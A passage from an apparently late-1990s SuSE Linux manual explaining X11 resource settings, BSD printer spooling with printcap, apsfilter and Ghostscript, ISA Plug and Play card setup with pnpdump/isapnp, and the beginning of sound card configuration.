Almost every application under X11 has its own default configuration. This configuration will be copied to `/usr/X11R6/lib/X11/app-defaults`[11] at installation. Here files such as `Xarchie` can be found. As the name already tells us, this must be the main configuration file for the application **xarchie**. Take a look at this file (e. g., with **`less Xarchie`**). Here, you will find (among others) the following lines:

```
Xarchie.color*background:  powder blue
```

Don't worry about the sometimes cryptic names; you don't have to understand them right now. Every program under X11 is built out of "Widgets".[12] Here, there is a *main widget*, which is the root window (it is called first). All other programs are *child widgets* of this parent widget (more or less). That means that every child widget has got exactly *one* parent widget and one or more *child widgets*. Each of these widgets can be addressed with an unique name.

Windows and widgets should not be confused. A scrollbar, e. g., is a window of its own (a window which lacks any decoration). A widget can contain a scrollbar, a text field and other attributes.

That leads to the conclusion that any window and its resources can be addressed by an unique name. For our example, this means:

- The first word to the first dot (`Xarchie`) is the name of the top-level widget of the **xarchie** program (it is a *rule* to write names of application defaults beginning with an uppercase letter).
- After the dot, there is a `'color'`. This, of course, is the color. But which color?
- Then there is a `'.'`. This dot could have been an asterisk (`'*'`) as well.
  - A `'.'` means that this is a direct hierarchy.
  - An `'*'` is a wild card. It indicates that between those two windows may lie one or more additional windows.
- The word "background" now shows us which color is going to be set. Here you can enter a defined color.

User specific settings

So that every user may make specific settings, there is a `~/.Xresources` file located in the **$HOME** directory. The `'.'` at the beginning means that this is a hidden file.

[11] It is quite helpful to assign an alias to such an abstruse and long name.

[12] Think of a "Widget" as a sort of "brick"; the word is made from "windows" and "gadget".

In this file, all user-specific settings are made. For example, you can now define that every window should have a yellow background except the root window which should be red.

Coming back to the example given above, this means that you can overwrite system-wide settings (`app-defaults` files) with those in your `~/.Xresources` file. So, if you set the following in your `~/.Xresources` file:

```
Xarchie.color*background: gold
```

the application **xarchie** will be started with a gold background.

You cannot only change colors but almost any decoration or setting for your windows. A useful program in this context is **editres** ("editres" stands for EDitRESources). This little tool lets you see all the resources of a given program and to change them at runtime (so you can see what you've done).

Here are some examples of what you can set:

```
Xarchie.color*background:               powder blue
Xarchie.color*SimpleMenu*background:    wheat
Xarchie.color*Command*background:       wheat
Xarchie.color*MenuButton*background:    wheat
Xarchie.color*Text*background:          wheat
```

Setting start parameters

There is a third way to influence the application. You can give parameters to it at runtime. You can even enter these parameters in your WMs configuration file if you start them from there.

For example, you can explicitly launch a program with another font and background color (bg = background, fg = foreground):

```
xterm -bg darkblue -fg white
```

You get a blue **xterm** with white letters.

How do the configuration possibilities "work"?

Principally, the system-wide settings are set at the start of the X Window System. The settings themselves are administrated by the X-server in the X Resource Database, **xrdb**. If you want the changed settings to become effective system-wide, it is necessary to edit the resource files manually.

The various settings for applications are handled in the following order during the build-up of an interim X-server Resource Database when the X-server starts:

Hierarchy of configurations

- First, from `/usr/X11R6/lib/X11/app-defaults` all system-wide settings are read.
- If you have special settings in your `~/.Xresources` file, these will overwrite the settings above.
- If you start an application with certain parameters, these settings overwrite the last one. They have the highest priority.

In case these explicit changes have no influence on the behavior of the application, it might help to vary capitalization of the respective widget name.

Part V

Linux and hardware

Chapter 11

Printers

While installing Linux with YaST, you probably have already done some printer configuration. This chapter covers the essentials that stand behind the processes. It does not show each aspect but enough to understand the principle that acts behind the printer system.

11.1 Overview: Interfaces, queues and spooling

11.1.1 The parallel ports

Connecting a printer to a Linux system is normally done via a parallel port. These ports are accessible via device files (as is usual under UNIX). Here are their properties:

File	major	minor	DOS name	IRQ	Port
`/dev/lp1`	6	1	`LPT1`	(7)	0x378
`/dev/lp2`	6	2	`LPT2`	(5)	0x278
`/dev/lp0`	6	0	`LPT3`	(5)	0x3bc

Of course, you can only use those devices that really are connected to a physically existing device. At system startup, the driver `lp.c` announces which ports have been found. You can look at these startup messages in `/var/log/boot.msg` or by entering **`dmesg`**.

> You cannot use a kernel with PLIP (IP over a parallel line) and the `/dev/lp?` devices simultaneously. The same applies to other devices connected to the parallel port such as CD-ROMs or ZIP drives. The PLIP and the lp driver would contend for the port (a fix for this problem is currently under construction).

These ports use polling mode by default, e. g., the CPU has to interrogate regularly whether there is a data transfer in progress. The system administrator (‘`root`’) can switch this to interrupt mode with **tunelp** and perform other tasks for increasing performance. Usually IRQ 7 is used for `lp1` and IRQ 5 for `lp2`.

To test the interface, be sure first that the printer is idle, then send (as ‘`root`’) any file directly to the printer using:

```
earth: # cat text-file >/dev/lp1
```

11.1.2 Spooling mode and printer queues

Printers are accessed on Linux via a *spooling mechanism* as is usual under multitasking systems, i. e., printer jobs are temporarily saved in a file and are processed one after another by a job control program called a daemon. This ensures that many users can send printer jobs *simultaneously* to the printer without risking a conflict. After sending the printer a job, the user can resume work as usual.

A printer queue consists of:

- an entry in `/etc/printcap`; here, the queue is defined;
- a directory, normally under `/var/spool`; here, there is a data file and a control file for each printer job.

Each queue is processed by exactly one printer. There can be many printing queues for one printer.

With SuSE Linux, there comes the BSD spooling system from the University of California at Berkeley, which is included in package `lprold`. Traditionally, it is designed for use *over a network* and assumes that TCP/IP has been configured and is running. Whether queues are set to local or remote makes little difference to the configuration.

Processing a print job takes place in three steps:

- The data file is copied to the queue's directory and is associated with a freshly created control file.
- This data file has now to pass through a *filter program* which converts it to the printer-specific format (e. g., PostScript). This conversion can take several individual steps.
- The printer-specific file is now queued and printed in order.

11.2 Printer queues: running and configuring

Let's look at the stages a print job has to pass through before being printed, and let's also look at the programs that take care of the job.

Many more details on the printing process can be found in the **lpr(1)**, **lpd(8)** and **printcap(5)** man pages.

lpr: please line up!

lpr is your "interface" to the printer queues on your machine. Generally a job is started using:

```
newbie@earth: > lpr [-P queue] text-file
```

If you omit the option **`-P`** (for "Printer", the queue's name), the default is taken from the **$PRINTER** environment variable. If this is not set, the default name **`lp`** is used. This also applies to the commands **`lpq`**, **`lprm`** and **`lpc`** (see below).

lpr checks whether this queue exists by reading `/etc/printcap`. If so, it creates a control file (`cf` file) and a copy of the data file in the spool directory.

If it is a huge job, it can be practical for you to just link the file instead of copying it. This can be done with **lpr**-Option `-s`. Of course, you should not write to the file again until the job has been processed.

lpr allows you to set a certain filter (printer driver) by hand, but this is hardly ever required. More can be found in **man lpr** and in section 11.3.

Additional control tools for the user: overview

Any of the commands described in this section will accept the **-P** option for passing a job to a named queue, just as **lpr** does. Many more details are in the corresponding man pages.

- **lpq** shows your own jobs in the queue: For example:
  newbie@earth: > `lpq -P queue`

```
queue is ready and printing
Rank   Owner      Job  Files         Total Size
active newbie    676  Hello.txt    259420 bytes
1st    newbie    677  letter.dvi     11578 bytes
2nd    newbie    683  picture.gif      37464 bytes
```

- **lprm** removes your own jobs from a queue. For example:
  newbie@earth: > `lprm -P queue 676`

```
dfA676Aa05005 dequeued
cfA676Aa05005 dequeued
```

  If no job number is given, the current active job is removed—if it is your own job.
- **lpc** executes control commands for queues. Most of these commands are privileged to the superuser.

lpd: the print manager in the background

lpd is launched by `/sbin/init.d/lpd` and runs in the background if the corresponding option **START_LPD=yes** has been set in `/etc/rc.config` (see section 3.13.8, page 78).

lpd checks `/etc/printcap` to see which printer queues are defined. Its job is to organize the execution of spooled jobs:

- it manages local printer queues: it sends every job's data file through the appropriate filter—which is assigned by the entry in `/etc/printcap` and by an explicit setting in the control file—and to the printer's interface afterwards;
- it takes care of the order of the jobs;
- it checks the state (`status`) of queues and printers in the local spool directories;

- it sends jobs to an **lpd** on a remote machine;
- it accepts requests from remote machines for local queues or refuses them if authorization fails.

Authorization: Only requests from hosts who are listed in `/etc/hosts.lpd` are executed. It is also possible to enter the name in `/etc/hosts.equiv`, but this has *far-reaching* consequences as far as access and security are concerned and, therefore, should be avoided. Additional definitions of the queue can restrict access to certain users or users with an account on the local machine.

Filter: the workaholics

The job of the filter programs is to transfer the jobs into a printer-specific format. They have to do almost everything. They resemble more or less the *printer drivers* on other systems such as Windows or OS/2. But, unlike them, they are also used to count jobs (number, used resources, etc.) (see section 11.3).

/etc/printcap: configuration of the queue

In `/etc/printcap`, each queue is defined by an entry of its own terminated by a line feed. The entry starts with one or more names for the queue (separated by `|`) followed by a list of specifications[1], such as `shorthand=`<value> (separated by `:`). "Empty" lines, or those starting with an `'#'`, are regarded as comments.

There are a couple of example entries (commented) in `/etc/printcap`. A simple entry might look like this:

```
ascii|deskjet:lp=/dev/lp1:sd=/var/spool/ascii:sh:mx#10240
```

File contents 11.2.1: `/etc/printcap` for a simple local queue

This queue can be accessed either by `ascii` or by `deskjet`. Its spool directory is `/var/spool/ascii`. Its printer is `/dev/lp1`. It does not show a header page at the beginning (sh = suppress header) and accepts jobs up to a size of 10240 bytes.

Here now is an example for a queue on a remote machine:

```
lp1|HP-4P:\
        :rm=Galois.suse.de:rp=HP:\
        :sd=/var/spool/lpd/lp1:\
        :mx#0:sh
```

File contents 11.2.2: `/etc/printcap` for a simple remote queue

[1] All shorthands, their meanings and default settings, are described in the `printcaps` man page.

The backslashes '\' hide the linefeed. As with shell commands, this is now regarded as only one line.
The name of the queue is `lp1` and `HP-4P`. Instead of the device (**`lp=`**), it is referred to the remote host `Galois.suse.de` and its queue `HP`.

Setting a filter is not necessary, since the queue on `Galois.suse.de` is responsible for the job. So only the spool directory `/var/spool/lpd/lp1` and the size (**`mx#0`** means: none) is defined.

If you install **apsfilter** with YaST, it enters three new queues in `/etc/printcap`. Further information is in section 11.3.

11.3 Printer filters—the apsfilter

What is a filter and how does it work?

The job of a filter is to convert the data file of a print job into a suitable format.

Only the paper size, login name, host name (local), and name of the file for the count is passed to **lpd**. Being a UNIX filter, it gets the data file via STDIN (standard input) and sends the printable output through STDOUT (standard output).

Obviously, the filter has to know the format of the file (ASCII, DVI, PostScript, etc.) for converting it. There are two ways of letting it know:

- The filter is "intelligent", so it checks the file and recognizes the format. It is put together of a "pre-filter" for checking the format and many other programs which actually do the conversion.

  This, very roughly, is how **apsfilter** works, which is installed by default with SuSE Linux.
- There are different filters for different file formats. These filters are assigned to a certain queue by entering them in `/etc/printcap`. The user has to give the proper selection if calling **lpr**. There are eight options:

`printcap` Entry	if=	cf=	df=	gf=	nf=	rf=	tf=	vf=
lpr Option		-c	-d	-g	-n	-f	-t	-v

  By convention, these options[2] are assigned to special file formats. Only setting the option for **lpr** is required.[3] **`if=`** refers to the standard filter, whereas **`df=`** refers to DVI files (that come from TeX and LaTeX). You can set your own DVI filter for the HP Laserjet 4 by entering:

```
df="/usr/lib/teTeX/bin/i386-linux/dvilj4 -e- -"
```

File contents 11.3.1: DVI filter entry in `/etc/printcap`

[2] see the **lpr** man page.
[3] Thus, a so-called "null-filter entry", e.g., `cf=/bin/cat`, is allowed and is used with a `lpr -c`.

apsfilter

SuSE includes the convenient filter **apsfilter** in the package `aps`. **apsfilter** exploits the following circumstances:

- The standard format for printable files under UNIX is PostScript.
- There are many separate tools that turn other formats, such as TEX and pictures, into PostScript files (e. g., **dvips** for DVI files and **a2ps** for ASCII files).
- Then there is **Ghostscript**, which is capable of converting PostScript files to non-PostScript printers (a collection of printer drivers, so to speak).

apsfilter compresses almost all of these separate tools, including the tools for recognizing a certain format (**file**) and decompression tools, into one. It sends the result of the format recognition through the appropriate tools, and, at last, to the printer.

In `/var/lib/apsfilter/apsfilter`[4] (the central shell script), the following file formats and compression types are available:

- ASCII, DVI, PS, Data (PCL, etc.), GIF, TIFF, PBM, Sun Raster, X11 Bitmap
- Compression types: compress, gzip, freeze

apsfilter can either be configured by YaST or with its own menu-driven configuration tool **SETUP**.

Configuration using YaST

A YaST configuration should suit your needs in the vast majority of cases. This configuration is done in YaST: `‘Administration of the system’`
`‘Integrate hardware into system’`
`‘Configure printers’`
and already has been described in section 3.13.1, page 71. YaST creates three queues in `/etc/printcap`. An example configuration for a Canon BubbleJet 800 is shown in file contents 11.3.2, page 241.

In the example, the three entries are constructed the same. That’s why we shortened them. Spool directory (**`sd=`**), log file (**`sd=`**), count file (**`af=`**) and standard filter (**`if=`**) are assigned. To be precise, all filters are symbolic links to **/var/lib/apsfilter/bin/apsfilter**.

The following queues are defined:

- *lp*: standard queue—for any file format
- *ascii*: for printing files as ASCII text, even if the spooling systems supposes another format.[5] Output is done in a format defined in **apsfilter**.
- *raw*: for printing files that are already in a printable format. Here, no conversion is made.

[4] This used to be `/usr/lib/apsfilter`.
[5] e. g., if there are German umlauts.

```
# LABEL apsfilter
# apsfilter setup Fri May 16 12:17:54 MEST 1997
#
# APS_BASEDIR:/var/lib/apsfilter
#
lp|lp2|bjc800-a4-auto-mono|bjc800 auto mono:\
        :lp=/dev/lp1:\
        :sd=/var/spool/bjc800-a4-auto-mono:\
        :lf=/var/spool/bjc800-a4-auto-mono/log:\
        :af=/var/spool/bjc800-a4-auto-mono/acct:\
        :if=/var/lib/apsfilter/filter/aps-bjc800-a4-auto-mono:\
        :mx#0:\
        :sh:
#
ascii|lp1|bjc800-a4-ascii-mono|bjc800 ascii mono:\
#   [ ... abbreviated ... ]
#
raw|lp3|bjc800-a4-raw|bjc800 auto raw:\
#    [ ... abbreviated ... ]
#
```

File contents 11.3.2: **apsfilter** queues in `/etc/printcap`

Configuration by hand

A detailed configuration of **apsfilter** can be done by **apsfilter**'s SETUP script. We will cover this now in greater detail.

The following steps are required:

- Install the package aps with YaST.
- Change to `/var/lib/apsfilter` (used to be `/usr/lib/apsfilter`).
- Launch the configuration script **SETUP**.

```
root@earth: > cd /var/lib/apsfilter
root@earth:/var/lib/apsfilter > ./SETUP
```

The greeting message now prints out some information, telling you that it:

- can enter entries for parallel, serial and remote printers into `/etc/printcap`,
- will create spool directories under `/var/spool/lpd`,
- filter scripts will be linked to `/var/lib/apsfilter/bin`,
- a global configuration file `/etc/apsfilterrc` and printer specific files `/etc/apsfilterrc.`<gsmode> are created.

Now enter ↵ to proceed.

For adding a new printer, you should choose 'ENTRY Add / Overwrite / Delete an apsfilter entry'. Now you should go through the menu items in order:

- 'DEVICE Which printer interface' lets you choose the interface for the printer and is added in the appropriate submenu. Normally, the parallel port is /dev/lp1 (/dev/lp2 only applies if there are two parallel ports. /dev/lp0 defines the parallel port on a **Hercules graphics card.** See also section 11.1.1). While configuring a serial port, you should make sure not to use the mouse's device. Furthermore, you have to enter the baud rate.
- 'PRINTER Which printer driver' lets you select either of a couple of printers: PostScript, DeskJets, others, and remote. See section 11.5.

We now refer you to the abundant configuration file /etc/apsfilterrc, which also contains some special settings as control sequences for printers, individual DVI filters, Ghostscript resolutions, and many more.

11.4 Some words on Ghostscript

If you don't own a PostScript printer, **Ghostscript** is the most popular choice for a filter. Ghostscript accepts PostScript files and contains many printer drivers for conversion. Ghostscript (**gs**) is an extensive tool with a lot of command line options. If you invoke Ghostscript from the command line, it presents you its own dialog GS. You can leave this by entering quit. Unfortunately, there is not enough space to cover all the gory details.[6]

Anyway, we want to point out the very helpful help command:

```
newbie@earth: > gs -h | less
```

which lists all possible options as well as the (important!) version number and the *current list of supported devices.* We have printed this list, current to the time of going to press, in section 11.5.

If you encounter any difficulties, it might be helpful to invoke Ghostscript with a printable PostScript (.ps) file and to send the constructed printer-specific data directly to the device. A summary of suitable PostScript files can be found at /usr/share/ghostscript/<version>/examples or /var/lib/apsfilter/test.

The command for invoking Ghostscript, e. g., for the included printer driver necp6 using a 360 × 360 resolution, and sending it to the printer, might look like:

```
newbie@earth: > gs -q -dNOPAUSE -dSAFER -sDEVICE=necp6 \
      -r360x360 -sOutputFile=testfile.lpr testfile.ps
GS>  quit
newbie@earth: > su
earth: # cat testfile.lpr >/dev/lp1
```

Hint: you can find helpful documentation in /usr/share/ghostscript/<version>/doc (e. g., in devices.txt).

[6] A first overview can be found in Ghostscript's man page. Fortunately, **apsfilter** releases you from the tedious construction of command line options.

11.5 List of supported printers

Besides PostScript and HP Deskjet printers, lots of other printers are supported by Ghostscript (version 4.03):

Apple	
appledmp	Apple Dot Matrix Printer (even Imagewriter)
iwhi	Apple Imagewriter, high resolution
iwlo	Apple Imagewriter, low resolution
iwlq	Apple Imagewriter, 320x216 dpi
Canon	
bj10e	Canon BubbleJet 10e
bj200	Canon BubbleJet 200
bjc600	Canon BubbleJet 600c, 4000c (Color)
bjc800	Canon BubbleJet 800c (Color)
lbp8	Canon LBP-8II
lips3	Canon LIPS III
DEC	
declj250	DEC LJ 250
la50	DEC LA50
la70	DEC LA70
la75	DEC LA75
la75plus	DEC LA75 Plus
lj250	DEC LJ250
ln03	DEC LN03
Epson	
ap3250	Epson AP3250
eps9high	Epson FX-80 compatible, 240 dpi
eps9mid	Epson FX-80 compatible, 120 dpi
epson	Epson FX-80 compatible 9 or 24 dot-matrix printer
epsonc	Epson LQ-2550, Fujitsu 1200/2400/3400, Color prints
epscp2	Epson ESC/P2
st800	Epson Stylus 800
stcolor	Epson Stylus Color
Hewlett Packard	

Table 11.1: to be continued...

cdeskjet	HP DeskJet 500C, black
cdj500	HP DeskJet 500C, 540C
cdj550	HP DeskJet 550C, 560C
cdjcolor	HP DeskJet 500C, colour
cdjmono	HP DeskJet 500C, black
deskjet	HP DeskJet, HP DeskJet Plus
djet500	HP DeskJet 500
djet500c	HP DeskJet 500c
dnj650c	HP DesignJet 650C
laserjet	HP LaserJet
ljet2p	HP LaserJet IIp
ljet3	HP LaserJet III
ljet3d	HP LaserJet IIID
ljet4	HP LaserJet IV
ljetplus	HP LaserJet Plus
lj4dith	HP LaserJet IV, dithered
lp2563	HP 2563B LinePrinter
cp50	HP PaintJet 300XL
paintjet	HP PaintJet Color printer
pj	HP PaintJet XL, Alternative
pjetxl	HP PaintJet 300XL
pjxl	HP PaintJet 300XL
pjxl300	HP PaintJet 300XL, HP DeskJet 1200C
IBM	
ibmpro	IBM Proprinter, 9 dot-matrix printer
jetp3852	IBM Jetprinter 3852
OKI	
oki182	OKI MicroLine 182
okiibm	OKI MicroLine, IBM compatible
Tektronix	
t4693d2	Tektronix 4693d, color
t4693d4	Tektronix 4693d, color
t4693d8	Tektronix 4693d, color
tek4696	Tektronix 4695/4696
Andere	
imagen	Imagen ImPress
m8510	C.Itoh M8510

Table 11.1: to be continued...

necp6	NEC P6, P6+, P60 with 360 dpi
nwp533	Sony Microsystems NWP533 laser printer (only Sony)
oce9050	OCE 9050
r4081	Ricoh 4081 laser printer
sj48	StarJet 48
sparc	SPARCprinter
xes	Xerox XES (2700, 3700, 4045)

Table 11.1: Supported printers (Ghostscript v. 4.03)

Of course, all HP4 compatible PostScript printers are supported too.

During installation of **apsfilter** or during configuration using YaST, the line given in the left column has to be set as printer device (e. g., djet500).

If the printer is not supported, this does not necessarily mean that the **apsfilter** can not be used. In this case, try a similar printer. Quite often this driver can be used.

A quite common error is setting the wrong resolution. If this is the case, the correct value (the DPI rate the printer accepts) can be set in **$GS_RESOL** in `/etc/apsfilterrc` (e. g., **`GS_RESOL=360x360`**). Some entries (commented) do already exist.

11.6 Printer checklist: apsfilter

- Has package `aps` been installed for **apsfilter**?
- Has **apsfilter** been configured by YaST or by `/var/lib/apsfilter/SETUP`?
- Does the kernel contain TCP/IP support (check with **`dmesg`**)?
- Have package `nkita` and package `nkitb` been installed?
- If the printer does not support the default setting of 300 × 300 dpi, has the correct resolution been set according to your printer's manual by YaST or been entered in `/etc/apsfilterrc`?
- What does **`lpc -status`** say?
- Try **`lpc up all`**.
- At least the **`raw`** queue should work on *any* printer and enable you to print ASCII files.
- Did you install the correct port (see section 11.1.1)?
- The kernel should *not* contain a PLIP driver (**`dmesg`**).

Chapter **12**

Linux machines and hardware

12.1 Preliminary notes

It has become possible to integrate almost all PC peripherals into a Linux system; this can be done for the most part without too much effort. We will be talking about the approaches and methods to do this as well as the software enabling this process. [1] The reader is referred to chapter 11 for solutions to printing problems. You can find hints on PC cards (formerly PCMCIA) in chapter 5.

> At the time of going to press it was not clear whether the 2.2 or 2.0.x version of the kernel will be shipped with this distribution. Therefore the following sections on ISA PnP device configuration and use refer to the 2.0x version of the kernel. The introduction to sound card installation refers to version 2.0x as well. There will be a short preview on the changes expected with the 2.2 version of the kernel at the end of the chapter. For details, please refer to the file `CD1:README` or the articles in our support database `http://www.suse.de/Support/sdb_e`.

12.2 ISA "Plug and Play" Hardware

General

There have been "ISA PnP cards" for quite some time. "PnP" is the abbreviation for *Plug and Play*[2] The fundamental idea behind this type of peripheral lies in the dynamic access to system resources, e.g. IRQs and port values, needed by the peripheral querying the system. There are two fundamental approaches to allocating system resources: Either they are determined via the operating system and its supporting programs or via the BIOS. The latter approach is used when modern motherboards have been installed. Prior to Plug and Play, peripherals were permanently assigned to particular IRQ and port values; conflicts between different devices could ensue. Today, manual jumper configuration is not supposed to be necessary anymore. That's the theory ...

[1] At the very least this is an attempt `;-)`

[2] Not infrequently and very justifiably rechristened Plug and Pray.

Configuration:

Setting the ISA PnP card parameters via the BIOS posits the following problem: all things being equal, the values can be easily predicted. If, however, a new ISA PnP card is attached to the system, things are not equal and the values cannot be predicted. Since the IRQ and port values have to be compiled into several kernel modules, the new card cannot be accessed by the drivers that need the card. There is the additional problem that the allocated values have to be read in and processed in the first place. Finally, there seem to be ISA PnP cards that do not seem to conform exactly to the ISA PnP specification. More problems ...

> Under Linux, dynamic allocation via the BIOS should be disabled. Please deactivate automatic configuration of ISA PnP cards in your BIOS settings. But before you proceed, please write down the original values to be able to reenter the original values in case of problems !

Under SuSE Linux and version 2.0 kernels , ISA PnP cards will be initialized by **pnpdump** and **isapnp**. The user has to select a suitable configuration from a list. This has the advantage of making the values assigned to certain cards predictable.

You have to become superuser (`'root'`) to execute the commands below. You could obtain further information from the *ISA-PnP FAQ* at `http://www.roestock.demon.co.uk/isapnptools/` - in fact, we strongly advise you to read it !

We assume you are dealing with a fresh installation. If there is a `isapnp.conf` file in the `/etc` directory, it is likely that an earlier installation has been attempted. Please create a backup of this file:

```
earth:/etc/ # cp /etc/isapnp.conf /etc/isapnp.conf.bak
```

Execute **pnpdump** and pipe the output to file `/etc/isapnp.conf`:

```
earth:/etc/ # /sbin/pnpdump > /etc/isapnp.conf
```

Please look at the file using an editor of your choice, e.g.

```
earth:/etc/ # joe /etc/isapnp.conf
```

> Background: **pnpdump** scans all ISA PnP cards and writes possible configurations (interrupts,) to (engl. *stdout*). The output format is readable for the program **isapnp**. The final configuration is used to initialize (manually at runtime or automatically while booting) the installed ISA PnP cards.

Possible Trouble Spots:

pnpdump might output the following: `"No boards found"`. It is also possible that one or more ISA PnP cards are not recognized. – Possible explanations:

- You do not have an ISA PnP card installed on your system: Please check the card type and read the relevant documentation. Ask your dealer for the type of the installed cards.

- The card(s) are faulty: check whether the cards fit into their slots. Test the cards under different operating systems.
- There are cards which work as ISA PnP cards as well as cards whose parameters are predetermined (e.g. 10-MB NE2000 ISA ethernet cards). Most of them can be switched between both modes via a DOS program.

Caution: The fact that **pnpdump** is finding the ISA PnP cards installed on your system does not mean that they are supported by Linux.

Preparations:

You started an editor and you are reading in the file `/etc/isapnp.conf`. Now you have to uncomment some of the file entries, i.e. remove the comment characters '`#`'.

Do not shy away from making entries into the file. If you enter the wrong values, you can recreate the file any time by runninng **pnpdump**. If something goes wrong while uncommenting an entry, little is going to happen while runnning **isapnp** (see above.) except that the cards will not be initialized correctly.

If something goes seriously wrong and the system crashes (e.g. due to a interrupt conflict), you can still boot using the rescue system (compare chapter 16). Then delete the file `/etc/isapnp.conf`.

Thereafter reboot as before. Since the cards are not going to be intitialized, the problem is not going to reappear either. You can then attempt to reconfigure the cards.

You find an example `/etc/isapnp.conf` file for a system with a "Creative Labs Soundblaster AWE64" sound card installed in appendix E. [3] Besides, the file looks different depending on the system; it is unlikely that you can use it without amending it.

How to make entries in `/etc/isapnp.conf`:

`pnpdump` provides configuration choices for each ISA PnP card. Each entry begins with a line looking like this:

```
# Card 1: (serial identifier ec 00 01 04 d8 9d 00 8c 0e)
```

Each entry ends with the beginning of another card entry. A single card can have several functions; e.g. sound cards tend to carry a game port, an MPU401 and a synthesizer. All these functionalities are carried on the sound card in addition to the original sound processing capability. Each single one or several functionalities can be grouped together as logical devices. For most purposes, logical devices can be viewed as mutually independent. The actual physical implementation can be architected using a single chip that is performing several functions. This is essentially why you can find subsections in the `/etc/isapnp.conf` file referring to separate logical devices.

A subsection for a logical device starts with a line looking like this:

[3] The example file has been created using version 1.10 of the isapnp tools. Newer **pnpdump** versions might produce somewhat different output.

```
(CONFIGURE CTL009d/66776 (LD 0
```

and ends with the entry

```
(ACT Y)
))
```

When you are looking at the unchanged version of **pnpdump**, you will see the comment character '#' before '(ACT Y)'. Remove it ! If you decide later that this particular card functionality should not be initialized, please feel free to change 'Y' into 'N'.

Each logical device subsection is in turn divided into paragraphs. They are separated by empty lines. The paragraphs represent various configuration options for a logical device. Choose only *one* paragraph and remove all comment characters '#' in front of the paragraph entries. They are normally enclosed by round brackets, as shown below:

```
# (INT 0 (IRQ q5 (MODE +E)))
```

If in doubt, just count the opening and closing brackets within the paragraph. There should not be any opening brackets after '(ACT Y)'. All other lines with comment characters in front of them happen to be just comments, nothing else. You can leave them unchanged or, if you wish, remove the comments altogether. Do read the comments before deleting them; occasionally, the contain important information.

> Please do not assign a resource more than once. Neither can you assign IRQ 2 and IRQ 9 at the same time.

It is possible to obtain information about system resources that are being used already by version 2.0x kernels: just execute the following commands:

```
earth:/ # cat /proc/interrupts (IRQs presently allocated)
earth:/ # cat /proc/ioports (I/O ports presently used)
earth:/ # cat /proc/dma (currently allocated DMA channels)
```

Some resources can only be made visible once they are are in use: e.g. mounted floppies. In case of doubt, you just have to enter unused IRQ values. Change the /etc/isapnp.conf file (e.g. change the proposed 'IRQ 5' to 'IRQ 7'). This case, however, tends to be rare. Save the file and exit the editor. Execute the program **isapnp**:

```
earth:/ # /sbin/isapnp /etc/isapnp.conf
```

You should obtain output looking somewhat like this:

```
Board 1 has Identity c6 ff ff ff ff 11 14 b2 50:
TER411 Serial No 4294967295 [checksum c6]
```

If you input everything correctly, your ISA PnP cards will be initialized.

> The output does not, however, say anything about problems during runtime. It only shows that the card is recognized as a PnP device. Incidentally, if the file isapnp.conf exists in the etc directory, **isapnp** is executed every time the system boots.

ISA-PnP and Modules:

It is possible to initialize ISA PnP cards via **pnpdump** and **isapnp**. This feature does not depend on Linux support for the card. Communication exchange between Linux and the card is conducted via the drivers. But a card has to be initialized before the driver is able to communicate with it. Since **isapnp** can only be executed (automatically) after the kernel has been loaded, it follows that ISA PnP drivers have to be generated as kernel modules. The next logical steps following changing and saving the file `/etc/isapnp.conf` consist in configuration, compilation and installation of the relevant card modules. To do that you normally have to enter the values contained in `/etc/isapnp.conf`, e.g. interrupts and port values. Some modules permit the user to pass resource parameters as command line arguments. One of the main problems configuring ISA PnP cards is the allocation of port values, interrupts and DMA channels to particular card functions. To some extent, "descriptive" strings have been prepended to these functions, but they are not always suitable for identification. In short, please indulge your inclination towards experimenting with driver parameters, so that the struggle may result in full card functionality. Enjoy !

Error Correction:

Symptom: you are receiving an error message similar to the following:

```
* LD setting failed, this may not be a problem
* Try adding (VERIFYLD N) to the top of your script
*
* Error occured requested 'LD2' on or around line 319
* --- further action aborted
```

Solution: Take the advice and enter at the beginning of the `/etc/isapnp.conf` the line

```
(VERIFYLD N)
```

, e.g.,

```
# [...]
# (DEBUG)
(VERIFYLD N)
(READPORT 0x0203)
(ISOLATE)
(IEDNTIFY *)
# [...]
```

12.3 Sound cards

Running a sound card under Linux does not require a magic wand. If there are problems, they can usually be traced to a small group of causes:

- Most cards available today conform to the ISA PnP standard. If there are problems, then the sound card is either not properly initialized or it cannot be initialized at all. Another possible cause could be that automatic BIOS recognition of sound cards has been enabled. The salient points of ISA PnP card configuration have been given in section 12.2.

- To configure the driver, you might have to rely on experimentation. For instance, the comments in the `/etc/isapnp.conf` file do not permit conclusions as to the port value belonging to the MPU401. Therefore you might have to rely on trial and error.
- Some cards contain chipsets that are not supported by currently available drivers. Drivers frequently offer emulation of a popular sound card type (most likely Soundblaster or Microsoft Soundsystem). Yet emulation is not always complete; sometimes it is not as compatible with the sound card as the documentation promises.

Sound cards are classified in the same manner as all other slotted cards available for the PC. There are ISA cards whose configurations have to be set manually using jumpers; there are PCI cards, Vesa Local Bus cards and EISA cards. The most popular cards currently available, however, are ISA PnP cards. There are other built-in versions of a variety of sound card types, but like their slotted cousins they are communicating via the local bus. Their configuration process is identical to that of slotted cards as well. And then there are ISA PnP cards that can be run as ISA cards using static as opposed to dynamically allocated parameters.

Vesa Local Bus and EISA sound cards are very rare; PCI cards are emerging on the market place. All three card types are barely supported by freely available drivers; thus we shall omit them. There is a possibility that some PCI cards will run under Linux with the (commercial) driver written by **4front** (see below). As outlined earlier, ISA PnP cards and "normal" ISA cards are distinguished by their methods of setting configuration parameters. This implies that ISA PnP sound card drivers have to be compiled as modules. It goes without saying that ISA card drivers *can* be compiled as modules. To streamline the discussion, we will focus on this configuration method. Initially we will give the general procedure proven to be valid for ISA PnP cards[4]. Salient points will be elaborated on using the extremely popular **Creative SB AWE64 PnP** as an example.

> If you have questions relating to sound card configuration for which you need help from SuSE technical support, it would be helpful if you would refer to the particular section of the following description which relates to the problem that occurred first. Thank you !

Procedure:

1. If you have not done it yet, please install the packages package `isappnp` (series `ap`) and package `lx_suse` (series `d`).
2. If you have a ISA PnP card installed, configure it as outlined in section 12.2; if you have an older ISA card, try to find out about the parameters of the sound card.

   We have to elaborate on the `/etc/isapnp.conf` file appearing in the appendix. The file configures a **AWE 64**:

[4] For non-PnP card types you would have to replace the setting of parameters via **isapnp** and **pnpdump** by other methods: looking at the card itself, card documentation, hardware recognition by Windows 95, your local distributor, …

- Soundblaster DMA : 1
- Sound Blaster 16-bit DMA : 5
- Soundblaster IRQ : 5
- Soundblaster Portaddress : 0x220
- MPU401 : 0x330
- Synthesizer : 0x338

Caution: You should not adopt these values without careful testing !

